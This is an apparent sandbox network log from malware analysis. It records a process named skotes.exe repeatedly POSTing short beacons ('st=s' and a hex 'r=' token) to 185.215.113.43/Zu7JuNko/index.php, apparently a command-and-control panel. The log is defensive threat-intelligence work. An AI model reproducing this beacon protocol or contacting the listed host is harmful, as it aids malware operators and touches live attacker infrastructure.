Nov 12, 2024 13:37:46.023350954 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	62439	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:47.663806915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:37:48.561976910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	62440	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:50.096729994 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:37:51.029726982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	62441	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:52.647985935 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:37:53.560952902 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	62442	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:55.088932037 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:37:56.010968924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	62443	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:57.645143032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:37:58.586415052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	62444	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:00.095685959 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:38:00.994177103 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	62445	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:02.628565073 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:38:03.538783073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	62446	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:05.071294069 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:38:05.961049080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	62447	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:07.599287987 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:38:08.491008043 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	62448	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:10.008791924 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:38:10.930414915 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	62449	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:12.553736925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:38:13.448925972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	62450	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:14.978945971 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:38:15.880249023 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	51882	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:17.510925055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:38:18.407995939 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	51883	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:19.924945116 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:38:20.846282959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	51884	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:22.482476950 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:38:23.380253077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	51885	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:24.904890060 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:38:25.811549902 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	51886	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:27.448909044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:38:28.346998930 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	51887	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:29.862803936 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:38:30.768826962 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	51889	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:32.586282969 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:38:33.489294052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	51890	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:35.017405033 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:38:35.919605017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	51891	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:37.551103115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:38:38.477607012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	51892	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:40.003865957 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:38:40.924118042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	51895	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:38:43.098102093 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:38:44.013195992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	51896	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
